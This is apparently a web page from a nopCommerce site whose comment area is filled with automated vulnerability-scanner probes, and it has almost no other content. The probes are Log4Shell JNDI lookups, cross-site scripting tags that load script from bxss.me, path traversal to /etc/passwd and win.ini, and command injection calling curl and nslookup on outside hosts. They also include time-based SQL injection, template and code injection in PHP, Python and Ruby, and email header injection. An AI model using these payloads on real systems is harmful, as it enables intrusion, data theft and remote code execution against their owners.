nopCommerce new release!

This is a sample comment...

${j${::-n}di:dns${::-:}${::-/}${::-/}hitvlryjmryaaaf83b${::-.}bxss.me}zzzz${url:UTF-8:http://hiteheqcnarhf.bxss.me/}

'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/bsp?u=009365&r=130071-13754&h=130071-733d0-2&"></script>

response.write(9871707*9334057)

'+response.write(9871707*9334057)+'

"+response.write(9871707*9334057)+"

<% response.write(9871707*9334057) %>

+response.write(9871707*9334057)'

/../../../../../../../../../../windows/system32/BITSADMIN.exe

%BF💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitdoairdagkz36b57${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}${::-/}dns.log4j.009365.130071-13758.130071.733d0${::-.}1${::-.}bxss.me}}

woNdIRPU

cJI9RRTy: Fn56rvVA

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

file:///etc/passwd

echo mcejje$()\ xkgdaf\nz^xyu||a #' &echo mcejje$()\ xkgdaf\nz^xyu||a #|" &echo mcejje$()\ xkgdaf\nz^xyu||a #

&echo twdnls$()\ hippib\nz^xyu||a #' &echo twdnls$()\ hippib\nz^xyu||a #|" &echo twdnls$()\ hippib\nz^xyu||a #

|echo uoivvm$()\ axrqoa\nz^xyu||a #' |echo uoivvm$()\ axrqoa\nz^xyu||a #|" |echo uoivvm$()\ axrqoa\nz^xyu||a #

../

(nslookup -q=cname hitumxzfpdnqec989d.bxss.me||curl hitumxzfpdnqec989d.bxss.me))

./

bcc:009365.130071-13762.130071.733d0.20241.2@bxss.me

to@example.com>
bcc:009365.130071-13763.130071.733d0.20241.2@bxss.me

$(nslookup -q=cname hitkimqgmtzxg43d89.bxss.me||curl hitkimqgmtzxg43d89.bxss.me)

&nslookup -q=cname hitpcyxormsmic24f5.bxss.me&'\"`0&nslookup -q=cname hitpcyxormsmic24f5.bxss.me&`'

&(nslookup -q=cname hitiuthdfplnf69dbb.bxss.me||curl hitiuthdfplnf69dbb.bxss.me)&'\"`0&(nslookup -q=cname hitiuthdfplnf69dbb.bxss.me||curl hitiuthdfplnf69dbb.bxss.me)&`'

|(nslookup -q=cname hitrjakzszztqed7d6.bxss.me||curl hitrjakzszztqed7d6.bxss.me)

`(nslookup -q=cname hitqodmbagbhldc35b.bxss.me||curl hitqodmbagbhldc35b.bxss.me)`

;(nslookup -q=cname hitdnzmimmvkx28a71.bxss.me||curl hitdnzmimmvkx28a71.bxss.me)|(nslookup -q=cname hitdnzmimmvkx28a71.bxss.me||curl hitdnzmimmvkx28a71.bxss.me)&(nslookup -q=cname hitdnzmimmvkx28a71.bxss.me||curl hitdnzmimmvkx28a71.bxss.me)

|(nslookup${IFS}-q${IFS}cname${IFS}hitggdludgnen6b65a.bxss.me||curl${IFS}hitggdludgnen6b65a.bxss.me)

<esi:include src="http://bxss.me/rpb.png"/>

&(nslookup${IFS}-q${IFS}cname${IFS}hitdpywsubhxkaf0ba.bxss.me||curl${IFS}hitdpywsubhxkaf0ba.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitdpywsubhxkaf0ba.bxss.me||curl${IFS}hitdpywsubhxkaf0ba.bxss.me)&`'

${9999815+9999944}

&n930404=v975549

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

/etc/shells

'"()

../../../../../../../../../../../../../../etc/shells

)

'&&sleep(27*1000)*kvbetb&&'

c:/windows/win.ini

!(()&&!|*|*|

"&&sleep(27*1000)*ysgbmq&&"

^(#$!@#$)(()))******

bxss.me

'||sleep(27*1000)*oxggmk||'

"||sleep(27*1000)*vpmnac||"

'.gethostbyname(lc('hitqf'.'zernwsamab9ff.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(89).chr(108).chr(90).'

".gethostbyname(lc("hitaa"."kctbxudg727db.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(69).chr(108).chr(68)."

gethostbyname(lc('hitcw'.'pyuhnarrb8346.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(90).chr(111).chr(66)

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

ctime
sleep
p0
(I30
tp1
Rp2
.

";print(md5(31337));$a="

${@print(md5(31337))}

${@print(md5(31337))}\

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitkpxmsyqshf165aa.'+'bxss.me')

'.print(md5(31337)).'

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitkpxmsyqshf165aa."+"bxss.me")+'

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitkpxmsyqshf165aa.'+'bxss.me')+"

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

'"></style></textarea></iframe></script><iframe src="https://hitghoygqvuni.bxss.me"></iframe><link rel=attachment href="https://hitghoygqvuni.bxss.me">

http://hitgkaprxnbns.bxss.me/

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

https://vizyon2050.bcekmece.bel.tr/

hitgkaprxnbns.bxss.me

"+"A".concat(70-3).concat(22*4).concat(120).concat(76).concat(121).concat(85)+(require"socket"
Socket.gethostbyname("hitvg"+"xpzdtumbcd483.bxss.me.")[3].to_s)+"

vizyon2050.bcekmece.bel.tr

'"

<!--

'+'A'.concat(70-3).concat(22*4).concat(114).concat(67).concat(103).concat(85)+(require'socket'
Socket.gethostbyname('hitmx'+'tbsdovte3e96c.bxss.me.')[3].to_s)+'

'A'.concat(70-3).concat(22*4).concat(105).concat(90).concat(106).concat(88)+(require'socket'
Socket.gethostbyname('hitsl'+'bgzbuyxo9da48.bxss.me.')[3].to_s)

'"()&%<zzz><ScRiPt >xZX2(9573)</ScRiPt>

'"()&%<zzz><ScRiPt >xZX2(9122)</ScRiPt>

9095922

bfg9273＜s1﹥s2ʺs3ʹhjl9273

bfgx6386%C0%BEz1%C0%BCz2a%90bcxhjl6386

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<ScRiPt >xZX2(9197)</ScRiPt>

<WBK3XS>L5QNB[!+!]</WBK3XS>

<script>xZX2(9740)</script>

<script>xZX2(9475)</script>9475

<ScR<ScRiPt>IpT>xZX2(9883)</sCr<ScRiPt>IpT>

<ScRiPt
>xZX2(9872)</ScRiPt>

<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9942></ScRiPt>

<isindex type=image src=1 onerror=xZX2(9893)>

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9853'>

<body onload=xZX2(9040)>

<img src=//xss.bxss.me/t/dot.gif onload=xZX2(9754)>

<img src=xyz OnErRor=xZX2(9807)>

<img/src=">" onerror=alert(9463)>

%0D%0A%3C%53%63%52%69%50%74%20%3E%78%5A%58%32%289152%29%3C%2F%73%43%72%69%70%54%3E

\u003CScRiPt\xZX2(9974)\u003C/sCripT\u003E

&lt;ScRiPt&gt;xZX2(9924)&lt;/sCripT&gt;

%F6<img zzz onmouseover=xZX2(98831) //%F6>

<input autofocus onfocus=xZX2(9446)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

}body{zzz:Expre/**/SSion(xZX2(9926))}

14myN
<ScRiPt >xZX2(9484)</ScRiPt>

<WNSDO9>MM4LR[!+!]</WNSDO9>

<ifRAme sRc=9494.com></IfRamE>

<aU9Njot x=9895>

<img sRc='http://attacker-9937/log.php?

<aY1ZDNA<

RkhPwsPO

-1 OR 2+938-938-1=0+0+0+1 --

-1 OR 3+938-938-1=0+0+0+1 --

-1 OR 2+613-613-1=0+0+0+1

-1 OR 3+613-613-1=0+0+0+1

-1' OR 2+82-82-1=0+0+0+1 --

-1' OR 3+82-82-1=0+0+0+1 --

-1' OR 2+433-433-1=0+0+0+1 or 'CqcN6R3t'='

-1' OR 3+433-433-1=0+0+0+1 or 'CqcN6R3t'='

-1" OR 2+382-382-1=0+0+0+1 --

-1" OR 3+382-382-1=0+0+0+1 --

*if(now()=sysdate(),sleep(15),0)

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

-1 waitfor delay '0:0:15' --

PcH1UShw'; waitfor delay '0:0:15' --

wfOgz10A'); waitfor delay '0:0:15' --

BSfvkMBh')); waitfor delay '0:0:15' --

-1 OR 426=(SELECT 426 FROM PG_SLEEP(15))--

-1) OR 272=(SELECT 272 FROM PG_SLEEP(15))--

-1)) OR 791=(SELECT 791 FROM PG_SLEEP(15))--

FsAu3XQF' OR 339=(SELECT 339 FROM PG_SLEEP(15))--

XozcwdRH') OR 511=(SELECT 511 FROM PG_SLEEP(15))--

mm580bfz')) OR 564=(SELECT 564 FROM PG_SLEEP(15))--

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

'"

%C0%A7%C0%A2%2527%2522\'\"

@@PKXcA